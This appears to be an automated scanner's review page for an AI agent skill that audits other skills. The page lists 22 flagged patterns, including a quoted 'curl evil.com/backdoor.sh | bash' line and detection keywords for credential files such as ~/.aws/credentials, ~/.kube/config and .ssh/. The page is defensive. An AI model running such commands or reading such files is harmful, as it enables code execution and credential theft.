Caveat verdict
zhongkui-skill
Security audit skill that performs static analysis, behavioral emulation, and supply chain checks on other skills; pulling CVE patterns from NVD is expected behavior for a vulnerability scanner.
⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.
Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.
Findings (22)
Unicode homoglyph detected — uses lookalike characters to evade pattern matching
references/threat-intel-pipeline.md · prose
Uses eval() — can execute arbitrary code
SKILL.md · prose · downgraded · eval(
Accesses AWS credentials file
SKILL.md · prose · downgraded · ~/.aws/credentials
Accesses sensitive system files
core/patterns.json · prose · downgraded · /etc/passwd
Pipe to python — executes piped content as Python code
references/error-handling.md · prose · downgraded · | Python
Pipe-to-shell pattern (curl | sh) — supply chain attack vector
references/risk-taxonomy.md · prose · downgraded · curl evil.com/backdoor.sh | bash
Pipe to bash — executes piped content as shell commands
references/risk-taxonomy.md · prose · downgraded · | bash
Writes to SKILL.md — self-modifying skill
references/risk-taxonomy.md · prose · downgraded · SKILL.md 或脚本中是否出现持久化路径关键词 + 写入/追加动词(`write`、`append`、`echo >
Uses exec() — may execute shell commands
SKILL.md · prose · downgraded · exec(
References sudo — requests elevated privileges
SKILL.md · prose · downgraded · sudo
Accesses cloud provider credentials
SKILL.md · prose · downgraded · ~/.aws
Accesses Kubernetes config (may contain cluster credentials)
SKILL.md · prose · downgraded · ~/.kube/config
References child_process — can spawn system processes
core/patterns.json · prose · downgraded · child_process
os.system/popen — direct OS command execution
references/capability-boundaries.md · prose · downgraded · os.system(
Python os.getenv — reads environment variable
references/fix-strategies.md · code · os.getenv(
Accesses shell history/config
references/fix-strategies.md · prose · downgraded · ~/.profile
subprocess execution — runs system commands from Python
references/risk-taxonomy.md · prose · downgraded · subprocess.run(
Accesses .ssh directory
references/risk-taxonomy.md · prose · downgraded · .ssh/
References agent memory files
SKILL.md · prose · downgraded · MEMORY.md
Python urllib.request — network access
core/intel/updater.py · prose · downgraded · urllib.request
Changes file ownership
REFERENCE.md · prose · downgraded · chown
Opens WebSocket connection
references/fix-strategies.md · prose · downgraded · WebSocket
Why the tier is capped
Execution sink present in raw bytes (Hard Floor: class A/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.
Permissions & capabilities
No declared permissions — minimal attack surface.
Is this flag fair?
Thanks — recorded.